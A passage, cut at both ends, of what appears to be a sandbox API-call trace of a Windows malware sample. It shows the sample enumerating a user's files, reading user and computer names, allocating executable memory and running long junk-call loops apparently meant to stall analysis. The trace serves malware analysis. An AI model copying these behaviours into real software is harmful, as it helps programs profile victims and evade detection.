lpString1=0x46c650, lpString2="c:\\Users\\aETAdzjz\\Documents\\bnGTVm7.xlsx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\bnGTVm7.xlsx") returned="c:\\Users\\aETAdzjz\\Documents\\bnGTVm7.xlsx" [0030.224] lstrcpyW (in: lpString1=0x46b6c0, lpString2="c:\\Users\\aETAdzjz\\Documents\\C40Oh8.xlsx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\C40Oh8.xlsx") returned="c:\\Users\\aETAdzjz\\Documents\\C40Oh8.xlsx" [0030.224] lstrcpyW (in: lpString1=0x465438, lpString2="c:\\Users\\aETAdzjz\\Documents\\C9bf3zXlekmUcEs.pptx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\C9bf3zXlekmUcEs.pptx") returned="c:\\Users\\aETAdzjz\\Documents\\C9bf3zXlekmUcEs.pptx" [0030.224] lstrcpyW (in: lpString1=0x46c6b0, lpString2="c:\\Users\\aETAdzjz\\Documents\\Database1.accdb" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\Database1.accdb") returned="c:\\Users\\aETAdzjz\\Documents\\Database1.accdb" [0030.224] lstrcpyW (in: lpString1=0x46b718, lpString2="c:\\Users\\aETAdzjz\\Documents\\desktop.ini" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\desktop.ini") returned="c:\\Users\\aETAdzjz\\Documents\\desktop.ini" [0030.224] lstrcpyW (in: lpString1=0x46c710, lpString2="c:\\Users\\aETAdzjz\\Documents\\FQiUCeN.pptx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\FQiUCeN.pptx") returned="c:\\Users\\aETAdzjz\\Documents\\FQiUCeN.pptx" [0030.224] lstrcpyW (in: lpString1=0x4654a8, lpString2="c:\\Users\\aETAdzjz\\Documents\\gU8x7JTYUiEeJlLB.docx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\gU8x7JTYUiEeJlLB.docx") returned="c:\\Users\\aETAdzjz\\Documents\\gU8x7JTYUiEeJlLB.docx" [0030.224] lstrcpyW (in: lpString1=0x46c788, lpString2="c:\\Users\\aETAdzjz\\Documents\\g_3izHwQ87.docx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\g_3izHwQ87.docx") returned="c:\\Users\\aETAdzjz\\Documents\\g_3izHwQ87.docx" [0030.224] lstrcpyW (in: lpString1=0x46b770, lpString2="c:\\Users\\aETAdzjz\\Documents\\HP0A.pptx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\HP0A.pptx") returned="c:\\Users\\aETAdzjz\\Documents\\HP0A.pptx" [0030.224] lstrcpyW (in: lpString1=0x465518, lpString2="c:\\Users\\aETAdzjz\\Documents\\iy0BS-wZvFAPifst.xlsx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\iy0BS-wZvFAPifst.xlsx") returned="c:\\Users\\aETAdzjz\\Documents\\iy0BS-wZvFAPifst.xlsx" [0030.224] lstrcpyW (in: lpString1=0x46d788, lpString2="c:\\Users\\aETAdzjz\\Documents\\jtfunIUKTuKB.rtf" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\jtfunIUKTuKB.rtf") returned="c:\\Users\\aETAdzjz\\Documents\\jtfunIUKTuKB.rtf" [0030.224] lstrcpyW (in: lpString1=0x46e788, lpString2="c:\\Users\\aETAdzjz\\Documents\\kjO Dw4y7j6PSDs.pptx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\kjO Dw4y7j6PSDs.pptx") returned="c:\\Users\\aETAdzjz\\Documents\\kjO Dw4y7j6PSDs.pptx" [0030.224] lstrcpyW (in: lpString1=0x469060, lpString2="c:\\Users\\aETAdzjz\\Documents\\kpRhFe62wLyHm_gju5i.xlsx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\kpRhFe62wLyHm_gju5i.xlsx") returned="c:\\Users\\aETAdzjz\\Documents\\kpRhFe62wLyHm_gju5i.xlsx" [0030.224] lstrcpyW (in: lpString1=0x46e7f8, lpString2="c:\\Users\\aETAdzjz\\Documents\\nEyS-vVYoVcjNl64w.pdf" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\nEyS-vVYoVcjNl64w.pdf") returned="c:\\Users\\aETAdzjz\\Documents\\nEyS-vVYoVcjNl64w.pdf" [0030.224] lstrcpyW (in: lpString1=0x46b7c8, lpString2="c:\\Users\\aETAdzjz\\Documents\\OE_9.docx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\OE_9.docx") returned="c:\\Users\\aETAdzjz\\Documents\\OE_9.docx" [0030.224] lstrcpyW (in: lpString1=0x4690d8, lpString2="c:\\Users\\aETAdzjz\\Documents\\Pu8nkjiAKviOXnl1Gn5.docx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\Pu8nkjiAKviOXnl1Gn5.docx") returned="c:\\Users\\aETAdzjz\\Documents\\Pu8nkjiAKviOXnl1Gn5.docx" [0030.224] lstrcpyW (in: lpString1=0x46c7e8, lpString2="c:\\Users\\aETAdzjz\\Documents\\w39fbPx.pptx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\w39fbPx.pptx") returned="c:\\Users\\aETAdzjz\\Documents\\w39fbPx.pptx" [0030.224] lstrcpyW (in: lpString1=0x46c848, lpString2="c:\\Users\\aETAdzjz\\Documents\\Wvwv-n0sd.pptx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\Wvwv-n0sd.pptx") returned="c:\\Users\\aETAdzjz\\Documents\\Wvwv-n0sd.pptx" [0030.224] lstrcpyW (in: lpString1=0x46e868, lpString2="c:\\Users\\aETAdzjz\\Documents\\XoRtIuBcm 9dtD-.xlsx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\XoRtIuBcm 9dtD-.xlsx") returned="c:\\Users\\aETAdzjz\\Documents\\XoRtIuBcm 9dtD-.xlsx" [0030.224] lstrcpyW (in: lpString1=0x46c8a8, lpString2="c:\\Users\\aETAdzjz\\Documents\\yuLsb9JD4.pptx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\yuLsb9JD4.pptx") returned="c:\\Users\\aETAdzjz\\Documents\\yuLsb9JD4.pptx" [0030.225] lstrcpyW (in: lpString1=0x46c908, lpString2="c:\\Users\\aETAdzjz\\Downloads\\ChromeSetup.exe" | out: lpString1="c:\\Users\\aETAdzjz\\Downloads\\ChromeSetup.exe") returned="c:\\Users\\aETAdzjz\\Downloads\\ChromeSetup.exe" [0030.225] lstrcpyW (in: lpString1=0x46b820, lpString2="c:\\Users\\aETAdzjz\\Downloads\\desktop.ini" | out: lpString1="c:\\Users\\aETAdzjz\\Downloads\\desktop.ini") returned="c:\\Users\\aETAdzjz\\Downloads\\desktop.ini" [0030.225] lstrcpyW (in: lpString1=0x46b878, lpString2="c:\\Users\\aETAdzjz\\Favorites\\desktop.ini" | out: lpString1="c:\\Users\\aETAdzjz\\Favorites\\desktop.ini") returned="c:\\Users\\aETAdzjz\\Favorites\\desktop.ini" [0030.225] lstrcpyW (in: lpString1=0x46f770, lpString2="c:\\Users\\aETAdzjz\\Links\\desktop.ini" | out: lpString1="c:\\Users\\aETAdzjz\\Links\\desktop.ini") returned="c:\\Users\\aETAdzjz\\Links\\desktop.ini" [0030.225] lstrcpyW (in: lpString1=0x46f7c0, lpString2="c:\\Users\\aETAdzjz\\Links\\Desktop.lnk" | out: lpString1="c:\\Users\\aETAdzjz\\Links\\Desktop.lnk") returned="c:\\Users\\aETAdzjz\\Links\\Desktop.lnk" [0030.225] lstrcpyW (in: lpString1=0x46b8d0, lpString2="c:\\Users\\aETAdzjz\\Links\\Downloads.lnk" | out: lpString1="c:\\Users\\aETAdzjz\\Links\\Downloads.lnk") returned="c:\\Users\\aETAdzjz\\Links\\Downloads.lnk" [0030.225] lstrcpyW (in: lpString1=0x46b928, lpString2="c:\\Users\\aETAdzjz\\Links\\OneDrive.lnk" | out: lpString1="c:\\Users\\aETAdzjz\\Links\\OneDrive.lnk") returned="c:\\Users\\aETAdzjz\\Links\\OneDrive.lnk" [0030.225] lstrcpyW (in: lpString1=0x46c968, lpString2="c:\\Users\\aETAdzjz\\Links\\RecentPlaces.lnk" | out: lpString1="c:\\Users\\aETAdzjz\\Links\\RecentPlaces.lnk") returned="c:\\Users\\aETAdzjz\\Links\\RecentPlaces.lnk" [0030.225] lstrcpyW (in: lpString1=0x46d7f0, lpString2="c:\\Users\\aETAdzjz\\Music\\0urTZbiAGmND856rsz.wav" | out: lpString1="c:\\Users\\aETAdzjz\\Music\\0urTZbiAGmND856rsz.wav") returned="c:\\Users\\aETAdzjz\\Music\\0urTZbiAGmND856rsz.wav" [0030.225] lstrcpyW (in: lpString1=0x46b980, lpString2="c:\\Users\\aETAdzjz\\Music\\ArMUD7tGcE.m4a" | out: lpString1="c:\\Users\\aETAdzjz\\Music\\ArMUD7tGcE.m4a") returned="c:\\Users\\aETAdzjz\\Music\\ArMUD7tGcE.m4a" [0030.225] lstrcpyW (in: lpString1=0x46e8d8, lpString2="c:\\Users\\aETAdzjz\\Music\\BJii_iHQeR86Jrb6XdUN.wav" | out: lpString1="c:\\Users\\aETAdzjz\\Music\\BJii_iHQeR86Jrb6XdUN.wav") returned="c:\\Users\\aETAdzjz\\Music\\BJii_iHQeR86Jrb6XdUN.wav" [0030.225] lstrcpyW (in: lpString1=0x46f810, lpString2="c:\\Users\\aETAdzjz\\Music\\desktop.ini" | out: lpString1="c:\\Users\\aETAdzjz\\Music\\desktop.ini") returned="c:\\Users\\aETAdzjz\\Music\\desktop.ini" [0030.225] lstrcpyW (in: lpString1=0x46f860, lpString2="c:\\Users\\aETAdzjz\\Music\\E4rt4A.mp3" | out: lpString1="c:\\Users\\aETAdzjz\\Music\\E4rt4A.mp3") returned="c:\\Users\\aETAdzjz\\Music\\E4rt4A.mp3" [0030.225] lstrcpyW (in: lpString1=0x46f8b0, lpString2="c:\\Users\\aETAdzjz\\Music\\h7aWf.wav" | out: lpString1="c:\\Users\\aETAdzjz\\Music\\h7aWf.wav") returned="c:\\Users\\aETAdzjz\\Music\\h7aWf.wav" [0030.225] lstrcpyW (in: lpString1=0x46b9d8, lpString2="c:\\Users\\aETAdzjz\\Music\\v-t6Z79-Bq.m4a" | out: lpString1="c:\\Users\\aETAdzjz\\Music\\v-t6Z79-Bq.m4a") returned="c:\\Users\\aETAdzjz\\Music\\v-t6Z79-Bq.m4a" [0030.225] lstrcpyW (in: lpString1=0x26db10, lpString2="c:\\Users\\aETAdzjz\\NTUSER.DAT" | out: lpString1="c:\\Users\\aETAdzjz\\NTUSER.DAT") returned="c:\\Users\\aETAdzjz\\NTUSER.DAT" [0030.252] GetUserNameA (in: lpBuffer=0x45f868, pcbBuffer=0x45f5ec | out: lpBuffer="aETAdzjz", pcbBuffer=0x45f5ec) returned 1 [0030.254] GetComputerNameA (in: lpBuffer=0x45f768, nSize=0x45f5ec | out: lpBuffer="YKYD69Q", nSize=0x45f5ec) returned 1 [0030.254] GetComputerNameExA (in: NameType=0x1, lpBuffer=0x45f668, nSize=0x45f5ec | out: lpBuffer="YKyd69q", nSize=0x45f5ec) returned 1 [0030.255] lstrlenA (lpString="aETAdzjz") returned 8 [0030.258] FreeConsole () returned 0 [0030.258] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x40) returned 0x120000 [0030.263] VirtualProtect (in: lpAddress=0x111000, dwSize=0x98d3, flNewProtect=0x20, lpflOldProtect=0x45f954 | out: lpflOldProtect=0x45f954*=0x4) returned 1 [0030.263] VirtualProtect (in: lpAddress=0x11b000, dwSize=0xb2e, flNewProtect=0x2, lpflOldProtect=0x45f954 | out: lpflOldProtect=0x45f954*=0x4) returned 1 [0030.263] VirtualProtect (in: lpAddress=0x11c000, dwSize=0xbd8, flNewProtect=0x4, lpflOldProtect=0x45f954 | out: lpflOldProtect=0x45f954*=0x4) returned 1 [0030.263] VirtualProtect (in: lpAddress=0x11d000, dwSize=0x5d0, flNewProtect=0x2, lpflOldProtect=0x45f954 | out: lpflOldProtect=0x45f954*=0x4) returned 1 [0030.263] VirtualProtect (in: lpAddress=0x110000, dwSize=0x400, flNewProtect=0x2, lpflOldProtect=0x45f954 | out: lpflOldProtect=0x45f954*=0x4) returned 1 [0030.263] lstrlenA (lpString="just string") returned 11 [0030.263] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.263] GetLastError () returned 0x57 [0030.263] GetCurrentProcess () returned 0xffffffff [0030.263] GetLastError () returned 0x57 [0030.263] wsprintfA (in: param_1=0x45fb83, param_2="%X%P" | out: param_1="37P") returned 3 [0030.263] SetLastError (dwErrCode=0x57) [0030.263] GetCurrentProcessId () returned 0xb2c [0030.263] GetLastError () returned 0x57 [0030.263] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="38P") returned 3 [0030.263] SetLastError (dwErrCode=0x57) [0030.263] GetCurrentProcessId () returned 0xb2c [0030.263] GetCurrentProcessId () returned 0xb2c [0030.263] GetCurrentProcessId () returned 0xb2c [0030.263] GetCurrentProcessId () returned 0xb2c [0030.263] lstrlenA (lpString="just string") returned 11 [0030.263] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.263] GetLastError () returned 0x57 [0030.263] GetCurrentProcessId () returned 0xb2c [0030.263] GetCurrentProcessId () returned 0xb2c [0030.263] lstrlenA (lpString="just string") returned 11 [0030.263] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.263] GetLastError () returned 0x57 [0030.263] GetCurrentProcessId () returned 0xb2c [0030.263] GetCurrentProcessId () returned 0xb2c [0030.263] GetCurrentProcessId () returned 0xb2c [0030.263] lstrlenA (lpString="just string") returned 11 [0030.263] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.263] GetLastError () returned 0x57 [0030.263] GetLastError () returned 0x57 [0030.263] lstrcmpA (lpString1="\x18\x87y", lpString2="luck") returned -1 [0030.264] SetLastError (dwErrCode=0x57) [0030.264] GetCurrentProcess () returned 0xffffffff [0030.264] GetLastError () returned 0x57 [0030.264] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="F4P") returned 3 [0030.264] SetLastError (dwErrCode=0x57) [0030.264] GetCurrentProcessId () returned 0xb2c [0030.264] GetCurrentProcess () returned 0xffffffff [0030.264] GetLastError () returned 0x57 [0030.264] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="F5P") returned 3 [0030.264] SetLastError (dwErrCode=0x57) [0030.264] GetCurrentProcessId () returned 0xb2c [0030.264] GetLastError () returned 0x57 [0030.264] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="F6P") returned 3 [0030.264] SetLastError (dwErrCode=0x57) [0030.264] GetCurrentProcessId () returned 0xb2c [0030.264] GetCurrentProcessId () returned 0xb2c [0030.264] GetCurrentProcessId () returned 0xb2c [0030.264] GetCurrentProcessId () returned 0xb2c [0030.264] lstrlenA (lpString="just string") returned 11 [0030.264] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.264] GetLastError () returned 0x57 [0030.264] GetCurrentProcessId () returned 0xb2c [0030.264] lstrlenA (lpString="just string") returned 11 [0030.264] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.264] GetLastError () returned 0x57 [0030.264] GetLastError () returned 0x57 [0030.264] GetLastError () returned 0x57 [0030.264] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="146P") returned 4 [0030.264] SetLastError (dwErrCode=0x57) [0030.264] GetCurrentProcessId () returned 0xb2c [0030.264] GetCurrentProcessId () returned 0xb2c [0030.264] GetCurrentProcessId () returned 0xb2c [0030.264] GetCurrentProcessId () returned 0xb2c [0030.264] lstrlenA (lpString="just string") returned 11 [0030.264] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.264] GetLastError () returned 0x57 [0030.264] GetCurrentProcessId () returned 0xb2c [0030.264] GetCurrentProcessId () returned 0xb2c [0030.264] lstrlenA (lpString="just string") returned 11 [0030.264] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.264] GetLastError () returned 0x57 [0030.264] GetCurrentProcess () returned 0xffffffff [0030.264] GetLastError () returned 0x57 [0030.264] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="1D1P") returned 4 [0030.264] SetLastError (dwErrCode=0x57) [0030.265] GetCurrentProcessId () returned 0xb2c [0030.265] GetLastError () returned 0x57 [0030.265] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="1D2P") returned 4 [0030.265] SetLastError (dwErrCode=0x57) [0030.265] GetCurrentProcessId () returned 0xb2c [0030.265] GetCurrentProcessId () returned 0xb2c [0030.265] GetCurrentProcessId () returned 0xb2c [0030.265] GetCurrentProcessId () returned 0xb2c [0030.265] lstrlenA (lpString="just string") returned 11 [0030.265] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.265] GetLastError () returned 0x57 [0030.265] GetCurrentProcessId () returned 0xb2c [0030.265] GetCurrentProcessId () returned 0xb2c [0030.265] lstrlenA (lpString="just string") returned 11 [0030.265] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.265] GetLastError () returned 0x57 [0030.265] GetLastError () returned 0x57 [0030.265] GetCurrentProcessId () returned 0xb2c [0030.265] GetCurrentProcessId () returned 0xb2c [0030.265] GetCurrentProcessId () returned 0xb2c [0030.265] lstrlenA (lpString="just string") returned 11 [0030.265] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.265] GetLastError () returned 0x57 [0030.265] GetLastError () returned 0x57 [0030.265] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="268P") returned 4 [0030.265] SetLastError (dwErrCode=0x57) [0030.265] GetCurrentProcessId () returned 0xb2c [0030.265] GetCurrentProcessId () returned 0xb2c [0030.265] GetCurrentProcessId () returned 0xb2c [0030.265] GetCurrentProcessId () returned 0xb2c [0030.265] lstrlenA (lpString="just string") returned 11 [0030.265] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.265] GetLastError () returned 0x57 [0030.265] GetCurrentProcess () returned 0xffffffff [0030.265] GetLastError () returned 0x57 [0030.265] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="27BP") returned 4 [0030.265] SetLastError (dwErrCode=0x57) [0030.265] GetCurrentProcessId () returned 0xb2c [0030.265] GetLastError () returned 0x57 [0030.265] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="27CP") returned 4 [0030.265] SetLastError (dwErrCode=0x57) [0030.265] GetCurrentProcessId () returned 0xb2c [0030.265] GetCurrentProcessId () returned 0xb2c [0030.265] GetCurrentProcessId () returned 0xb2c [0030.265] GetCurrentProcessId () returned 0xb2c [0030.265] lstrlenA (lpString="just string") returned 11 [0030.265] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.265] GetLastError () returned 0x57 [0030.265] GetCurrentProcessId () returned 0xb2c [0030.265] GetCurrentProcessId () returned 0xb2c [0030.265] lstrlenA (lpString="just string") returned 11 [0030.265] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.265] GetLastError () returned 0x57 [0030.265] GetLastError () returned 0x57 [0030.265] lstrcmpA (lpString1="\x18\x87y", lpString2="luck") returned -1 [0030.265] SetLastError (dwErrCode=0x57) [0030.265] GetCurrentProcess () returned 0xffffffff [0030.265] GetLastError () returned 0x57 [0030.265] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="2CAP") returned 4 [0030.265] SetLastError (dwErrCode=0x57) [0030.265] GetCurrentProcessId () returned 0xb2c [0030.266] GetCurrentProcess () returned 0xffffffff [0030.266] GetLastError () returned 0x57 [0030.266] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="2CBP") returned 4 [0030.266] SetLastError (dwErrCode=0x57) [0030.266] GetCurrentProcessId () returned 0xb2c [0030.266] GetLastError () returned 0x57 [0030.266] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="2CCP") returned 4 [0030.266] SetLastError (dwErrCode=0x57) [0030.266] GetCurrentProcessId () returned 0xb2c [0030.266] GetCurrentProcessId () returned 0xb2c [0030.266] GetCurrentProcessId () returned 0xb2c [0030.266] GetCurrentProcessId () returned 0xb2c [0030.266] lstrlenA (lpString="just string") returned 11 [0030.266] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.266] GetLastError () returned 0x57 [0030.266] GetCurrentProcessId () returned 0xb2c [0030.266] lstrlenA (lpString="just string") returned 11 [0030.266] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.266] GetLastError () returned 0x57 [0030.266] GetLastError () returned 0x57 [0030.266] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0030.266] SetLastError (dwErrCode=0x57) [0030.266] GetCurrentProcess () returned 0xffffffff [0030.266] GetLastError () returned 0x57 [0030.266] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="31AP") returned 4 [0030.266] SetLastError (dwErrCode=0x57) [0030.266] GetCurrentProcessId () returned 0xb2c [0030.266] GetCurrentProcess () returned 0xffffffff [0030.266] GetLastError () returned 0x57 [0030.266] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="31BP") returned 4 [0030.266] SetLastError (dwErrCode=0x57) [0030.266] GetCurrentProcessId () returned 0xb2c [0030.266] GetLastError () returned 0x57 [0030.266] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="31CP") returned 4 [0030.266] SetLastError (dwErrCode=0x57) [0030.266] GetCurrentProcessId () returned 0xb2c [0030.266] GetCurrentProcessId () returned 0xb2c [0030.266] GetCurrentProcessId () returned 0xb2c [0030.266] GetCurrentProcessId () returned 0xb2c [0030.266] lstrlenA (lpString="just string") returned 11 [0030.266] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.266] GetLastError () returned 0x57 [0030.266] GetLastError () returned 0x57 [0030.266] GetLastError () returned 0x57 [0030.266] lstrcmpA (lpString1="\x18\x87y", lpString2="luck") returned -1 [0030.266] SetLastError (dwErrCode=0x57) [0030.266] GetCurrentProcess () returned 0xffffffff [0030.266] GetLastError () returned 0x57 [0030.266] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="374P") returned 4 [0030.266] SetLastError (dwErrCode=0x57) [0030.266] GetCurrentProcessId () returned 0xb2c [0030.266] GetCurrentProcess () returned 0xffffffff [0030.266] GetLastError () returned 0x57 [0030.266] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="375P") returned 4 [0030.266] SetLastError (dwErrCode=0x57) [0030.266] GetCurrentProcessId () returned 0xb2c [0030.266] GetLastError () returned 0x57 [0030.266] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="376P") returned 4 [0030.267] SetLastError (dwErrCode=0x57) [0030.267] GetCurrentProcessId () returned 0xb2c [0030.267] GetCurrentProcessId () returned 0xb2c [0030.267] GetCurrentProcessId () returned 0xb2c [0030.267] GetCurrentProcessId () returned 0xb2c [0030.267] lstrlenA (lpString="just string") returned 11 [0030.267] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.267] GetLastError () returned 0x57 [0030.267] GetCurrentProcess () returned 0xffffffff [0030.267] GetLastError () returned 0x57 [0030.267] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="3B1P") returned 4 [0030.267] SetLastError (dwErrCode=0x57) [0030.267] GetCurrentProcessId () returned 0xb2c [0030.267] GetLastError () returned 0x57 [0030.267] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="3B2P") returned 4 [0030.267] SetLastError (dwErrCode=0x57) [0030.267] GetCurrentProcessId () returned 0xb2c [0030.267] GetCurrentProcessId () returned 0xb2c [0030.267] GetCurrentProcessId () returned 0xb2c [0030.267] GetCurrentProcessId () returned 0xb2c [0030.267] lstrlenA (lpString="just string") returned 11 [0030.267] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.267] GetLastError () returned 0x57 [0030.267] GetLastError () returned 0x57 [0030.267] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="3D0P") returned 4 [0030.267] SetLastError (dwErrCode=0x57) [0030.267] GetCurrentProcessId () returned 0xb2c [0030.267] GetCurrentProcessId () returned 0xb2c [0030.267] GetCurrentProcessId () returned 0xb2c [0030.267] GetCurrentProcessId () returned 0xb2c [0030.267] lstrlenA (lpString="just string") returned 11 [0030.267] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.267] GetLastError () returned 0x57 [0030.267] GetLastError () returned 0x57 [0030.267] lstrcmpA (lpString1="\x18\x87y", lpString2="luck") returned -1 [0030.267] SetLastError (dwErrCode=0x57) [0030.267] GetCurrentProcess () returned 0xffffffff [0030.267] GetLastError () returned 0x57 [0030.267] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="414P") returned 4 [0030.267] SetLastError (dwErrCode=0x57) [0030.267] GetCurrentProcessId () returned 0xb2c [0030.267] GetCurrentProcess () returned 0xffffffff [0030.267] GetLastError () returned 0x57 [0030.267] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="415P") returned 4 [0030.267] SetLastError (dwErrCode=0x57) [0030.267] GetCurrentProcessId () returned 0xb2c [0030.267] GetLastError () returned 0x57 [0030.267] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="416P") returned 4 [0030.267] SetLastError (dwErrCode=0x57) [0030.267] GetCurrentProcessId () returned 0xb2c [0030.267] GetCurrentProcessId () returned 0xb2c [0030.267] GetCurrentProcessId () returned 0xb2c [0030.267] GetCurrentProcessId () returned 0xb2c [0030.267] lstrlenA (lpString="just string") returned 11 [0030.267] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.267] GetLastError () returned 0x57 [0030.267] GetLastError () returned 0x57 [0030.267] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="434P") returned 4 [0030.267] SetLastError (dwErrCode=0x57) [0030.267] GetCurrentProcessId () returned 0xb2c [0030.268] GetCurrentProcessId () returned 0xb2c [0030.268] GetCurrentProcessId () returned 0xb2c [0030.268] GetCurrentProcessId () returned 0xb2c [0030.268] lstrlenA (lpString="just string") returned 11 [0030.268] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.268] GetLastError () returned 0x57 [0030.268] GetLastError () returned 0x57 [0030.268] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="466P") returned 4 [0030.268] SetLastError (dwErrCode=0x57) [0030.268] GetCurrentProcessId () returned 0xb2c [0030.268] GetCurrentProcessId () returned 0xb2c [0030.268] GetCurrentProcessId () returned 0xb2c [0030.268] GetCurrentProcessId () returned 0xb2c [0030.268] lstrlenA (lpString="just string") returned 11 [0030.268] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.268] GetLastError () returned 0x57 [0030.268] GetLastError () returned 0x57 [0030.268] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="484P") returned 4 [0030.268] SetLastError (dwErrCode=0x57) [0030.268] GetCurrentProcessId () returned 0xb2c [0030.268] GetCurrentProcessId () returned 0xb2c [0030.268] GetCurrentProcessId () returned 0xb2c [0030.268] GetCurrentProcessId () returned 0xb2c [0030.268] lstrlenA (lpString="just string") returned 11 [0030.268] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.268] GetLastError () returned 0x57 [0030.268] GetLastError () returned 0x57 [0030.268] lstrcmpA (lpString1="\x18\x87y", lpString2="luck") returned -1 [0030.268] SetLastError (dwErrCode=0x57) [0030.268] GetCurrentProcess () returned 0xffffffff [0030.268] GetLastError () returned 0x57 [0030.268] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="48CP") returned 4 [0030.268] SetLastError (dwErrCode=0x57) [0030.268] GetCurrentProcessId () returned 0xb2c [0030.268] GetCurrentProcess () returned 0xffffffff [0030.268] GetLastError () returned 0x57 [0030.268] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="48DP") returned 4 [0030.268] SetLastError (dwErrCode=0x57) [0030.268] GetCurrentProcessId () returned 0xb2c [0030.268] GetLastError () returned 0x57 [0030.268] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="48EP") returned 4 [0030.268] SetLastError (dwErrCode=0x57) [0030.268] GetCurrentProcessId () returned 0xb2c [0030.268] GetCurrentProcessId () returned 0xb2c [0030.268] GetCurrentProcessId () returned 0xb2c [0030.268] GetCurrentProcessId () returned 0xb2c [0030.268] lstrlenA (lpString="just string") returned 11 [0030.268] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.268] GetLastError () returned 0x57 [0030.268] GetLastError () returned 0x57 [0030.268] lstrcmpA (lpString1="\x18\x87y", lpString2="luck") returned -1 [0030.268] SetLastError (dwErrCode=0x57) [0030.268] GetCurrentProcess () returned 0xffffffff [0030.268] GetLastError () returned 0x57 [0030.268] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="4BEP") returned 4 [0030.268] SetLastError (dwErrCode=0x57) [0030.268] GetCurrentProcessId () returned 0xb2c [0030.268] GetCurrentProcess () returned 0xffffffff [0030.269] GetLastError () returned 0x57 [0030.269] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="4BFP") returned 4 [0030.269] SetLastError (dwErrCode=0x57) [0030.269] GetCurrentProcessId () returned 0xb2c [0030.269] GetLastError () returned 0x57 [0030.269] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="4C0P") returned 4 [0030.269] SetLastError (dwErrCode=0x57) [0030.269] GetCurrentProcessId () returned 0xb2c [0030.269] GetCurrentProcessId () returned 0xb2c [0030.269] GetCurrentProcessId () returned 0xb2c [0030.269] GetCurrentProcessId () returned 